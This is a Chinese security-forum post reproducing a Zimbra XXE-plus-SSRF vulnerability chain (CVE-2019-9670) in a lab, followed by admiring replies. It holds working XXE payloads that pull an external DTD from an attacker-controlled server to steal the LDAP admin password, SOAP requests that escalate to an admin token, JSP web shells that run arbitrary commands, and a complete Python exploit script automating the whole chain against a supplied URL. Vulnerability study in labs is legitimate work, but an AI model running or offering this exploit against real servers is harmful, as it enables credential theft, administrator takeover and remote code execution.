用户
搜索
  • TA的每日心情
    开心
    昨天 16:39
  • 签到天数: 4 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋-脚本小子

    Rank: 2

    4

    主题

    10

    帖子

    149

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2017-8-19
    发表于 2020-7-22 17:06:02 122642
    本帖最后由 icqbde1d67e 于 2020-7-22 17:38 编辑

    一、漏洞简介
    当 Zimbra 存在像任意文件读取、XXE(xml外部实体注入)这种漏洞时,攻击者可以利用此漏洞读取 localconfig.xml配置文件,获取到 zimbra admin ldap password,并通过 7071 admin 端口进行 SOAP AuthRequest 认证,得到 admin authtoken漏洞是利用XXE和ProxyServlet SSRF 漏洞拿到 admin authtoken 后,通过文件上传在服务端执行任意代码,威胁程度极高。当Zimbra服务端打来Memcached缓存服务时,可以利用SSRF攻击进行反序列化执行远程代码。不过由于Zimbra在单服务器安装中尽管Memcached虽然启动但是并没有进行使用,所以其攻击场景受到限制。

    二、漏洞影响
    ZimbraCollaboration Server 8.8.11 之前的版本都受到影响。具体来说:
    Zimbra < 8.7.11 版本中,攻击者可以在无需登录的情况下,实现远程代码执行。
    Zimbra < 8.8.11 版本中,在服务端使用 Memcached 做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行。

    三、环境搭建(友情提示,懒得搭靶场可以直接下载我的)
    首先准备个ubantu 14.04服务器,换个更新源,更新下
    安装辅助包,执行以下命令来安装相应的包
    apt-get install libgmp10 libperl5.18 unzip pax sysstat sqlite3 dnsmasq wget
    配置hostname和DNS服务器
    vi /etc/hostname
    更改hostname为自己的域名,例如mail.test.com

    vi /etc/hosts 添加如下代码
    192.168.37.137(本机IP) mail.test.com mail

    vi /etc/dnsmasq.conf 配置如下


    server=192.168.37.137
    domain=test.com
    mx-host=test.com, mail.test.com, 5
    mx-host=mail.test.com, mail.test.com, 5
    listen-address=127.0.0.1
    配置完成后重启电脑,sudo reboot
    我这里是把它放在了519行,不过我感觉放哪儿都可以吧,2333

    我已经提前下载好了Zimbra8.5.0版本,直接用finalshell托上去就行
    也可使用命令下载8.6.0版本


    wget https://files.zimbra.com/downloa ... .20141215151116.tgz

    cd进去之后执行./install然后一路按y,可能会报错
    问题不大,删了就行
    apt-get remove postfix


    这里不需要zimbra-dnscache,因为我们上边使用的是dnsmasq,所以不需要此包
    之后一路按y即可,安装可能需要些时间

    可能会提示配置MX记录,no即可
    [AppleScript] 纯文本查看 复制代码
    DNS ERROR resolving MX for mail.test.com
    It is suggested that the domain name have an MX record configured in DNS
    Change domain name? [Yes] no

    带星号的为必填,设置一下就OK
    ******* +Admin Password                        UNSET
    设置好密码之后选25填写许可证,这里随便个/etc/passwd就行
    Enter the name of the file that contains the license: /etc/passwd


    [AppleScript] 纯文本查看 复制代码
    *** CONFIGURATION COMPLETE - press 'a' to apply
    Select from menu, or press 'a' to apply config (? - help) a
    Save configuration data to a file? [Yes] yes
    Save config in file: [/opt/zimbra/config.38577] 
    Saving config in /opt/zimbra/config.38577...done.
    The system will be modified - continue? [No] yes

    如果期间报错,直接回车即可
    使用su - zimbra命令切换用户
    zmcontrol status查看zimbra服务器状态


    访问IP:7071端口,跳转zimbra管理页面即为正常




    四、漏洞复现
    利用XXE+SSRF组合拳RCE复现
    1、第一步,测试是否存在CVE-2019-9670 XXE漏洞



    POST请求/Autodiscover/Autodiscover.xml
    [AppleScript] 纯文本查看 复制代码
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
     <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
        <Request>
          <EMailAddress>aaaaa</EMailAddress>
          <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
        </Request>
      </Autodiscover>



    2、第二步,读取zimbra用户账号密码


    成功读到用户密码,说明XXE验证成功
    接下来构造payload读zimbra的配文件localconfig.xml
    由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd:
    [AppleScript] 纯文本查看 复制代码
    <!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % end "]]>">
    <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">


    POST请求/Autodiscover/Autodiscover.xml
    [AppleScript] 纯文本查看 复制代码
    <!DOCTYPE Autodiscover [
            <!ENTITY % dtd SYSTEM "http://公网服务器/dtd">
            %dtd;
            %all;
            ]>
    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
        <Request>
            <EMailAddress>aaaaa</EMailAddress>
            <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
        </Request>
    </Autodiscover>



    3、第三步,利用获取到的密码获取低权限token
    POST请求/service/soap或/service/admin/soap
    [AppleScript] 纯文本查看 复制代码
    <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">
               <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
           </context>
       </soap:Header>
       <soap:Body>
         <AuthRequest xmlns="urn:zimbraAccount">
            <account by="adminName">zimbra</account>
            <password>上一步得到密码</password>
         </AuthRequest>
       </soap:Body>
    </soap:Envelope>



    4、第四步,利用SSRF漏洞通过proxy接口,访问admin的soap接口获取高权限Token
    POST请求/service/proxy?target=https://127.0.0.1:7071/service/admin/soap
    我这里可能环境有问题,没有使用SSRF直接请求/service/admin/soap即可获取高权限token
    注意:
    Host:后面加端口7071
    Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为上面请求所获取的token
    发送同上Body内容,但是AuthRequest的xmlns要改为:urn:zimbraAdmin,否则获取的还是普通权限的Token

    5、第五步,利用高权限token传文件getshell
    [AppleScript] 纯文本查看 复制代码
    import requests
    
    file= {
    'filename1':(None,"whocare",None),
    'clientFile':("sunian.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"), 
    'requestId':(None,"12",None),
    }
    headers ={ 
    "Cookie":"ZM_ADMIN_AUTH_TOKEN=0_eb68a2a147c98c6d0c2257d7638c4f1256493b28_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313539323733343831303035313b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3433323433373532323b",#改成自己的admin_token
    "Host":"foo:7071"
    }
    r=requests.post("https://192.168.37.137:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)    
    print(r.text)


    虽然执行报错了,但是不影响
    shell地址:https://192.168.37.137:7071/downloads/sunian.jsp



    五、最终EXP编写
    [AppleScript] 纯文本查看 复制代码
    #coding=utf8
    import requests
    import sys
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    base_url=sys.argv[1]
    base_url=base_url.rstrip("/")
    #利用request模块来发包和接受数据,sys模块用来传参,并删除最右侧的/斜杠
    
    filename = "sunian.jsp"
    fileContent = r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>'
    #fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'
    #可使用第11行bypass
    print(base_url)
    #请自己在公网放置dtd文件
    dtd_url="http://VPS-IP/exp.dtd"
    """
    <!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % end "]]>">
    <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
    """
    xxe_data = r"""<!DOCTYPE Autodiscover [
            <!ENTITY % dtd SYSTEM "{dtd}">
            %dtd;
            %all;
            ]>
    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
        <Request>
            <EMailAddress>aaaaa</EMailAddress>
            <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
        </Request>
    </Autodiscover>""".format(dtd=dtd_url)
    
    #XXE stage
    headers = {
        "Content-Type":"application/xml"
    }
    print(" Get User Name/Password By XXE ")
    r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)
    #print r.text
    if 'response schema not available' not in r.text:
        print("don't have xxe")
        exit()
    
    #low_token Stage
    import re
    pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
    pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
    username = pattern_name.findall(r.text)[0][2]
    password = pattern_password.findall(r.text)[0][2]
    #print(username)
    #print(password)
    
    auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">
               <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
           </context>
       </soap:Header>
       <soap:Body>
         <AuthRequest xmlns="{xmlns}">
            <account by="adminName">{username}</account>
            <password>{password}</password>
         </AuthRequest>
       </soap:Body>
    </soap:Envelope>
    """
    
    #print(" Get Low Privilege Auth Token")
    
    #72行路径可能为/service/soap
    r=requests.post(base_url+"/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)
    
    pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
    
    low_priv_token = pattern_auth_token.findall(r.text)[0]
    
    #print(low_priv_token)
    
    # SSRF+Get Admin_Token Stage
    
    headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
    headers["Host"]="foo:7071"
    #print(" Get Admin  Auth Token By SSRF")
    #r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
    r = requests.post(base_url+"/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
    #若86行无法使用请使用85行
    
    admin_token =pattern_auth_token.findall(r.text)[0]
    #print("ADMIN_TOKEN:"+admin_token)
    
    f = {
        'filename1':(None,"whocare",None),
        'clientFile':(filename,fileContent,"text/plain"),
        'requestId':(None,"12",None),
    }
    
    headers ={
        "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token
    }
    print(" 木马地址")
    r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
    #print(r.text)
    print(base_url+"/downloads/"+filename)
    
    #print(" Request Result:")
    s = requests.session()
    r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
    #print(r.text)
    print(" 管理员cookie")
    print(headers['Cookie'])

    演示exp运行以及不使用cookie访问木马地址的情况

    参考链接
    https://www.jianshu.com/p/722bc70ff426
    https://blog.csdn.net/weixin_40709439/article/details/90136596
    https://blog.csdn.net/weixin_41732430/article/details/89054473

    靶场食用说明
    下载地址
    https://cloud.189.cn/t/RrqABbN7jIFf(访问码:i1c0)
    解压zip文件,直接VMware导入ovf文件
    sunian 123qwe 进行登录
    sudo su
    123qwe 进行登录root账户
    su - zimbra 切换账户
    zmcontrol status查看zimbra服务器状态
    为Running说明正常,这时候ip addr查看IP
    访问IP:7071自动跳转到zimbra管理页面
    https://IP:7071/zimbraAdmin/
    a1.png

    本帖被以下淘专辑推荐:

    发表于 2020-7-22 17:41:23
    排版用不惯,图不清楚的话,请直接点开查看,大佬请谅解
    使用道具 举报 回复
    发表于 2020-7-23 09:56:53
    大佬666
    使用道具 举报 回复
    发表于 2020-7-23 09:57:11
    一看就会,一做就废,哈哈啊哈
    使用道具 举报 回复
    发表于 2020-7-23 09:57:28
    拜师拜师
    使用道具 举报 回复
    妹子大佬???
    使用道具 举报 回复
    发表于 2020-7-25 13:34:51
    我觉得素念是个妹子
    使用道具 举报 回复
    学习学习
    使用道具 举报 回复
    到底是个老哥还是个老妹呀?挺强的!
    使用道具 举报 回复
    很强!
    使用道具 举报 回复
    首先准备个ubantu 14.04服务器,换个更新源,更新下  这就很优秀了
    使用道具 举报 回复
    太棒了aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    使用道具 举报 回复
    好帖子 我淘走了
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册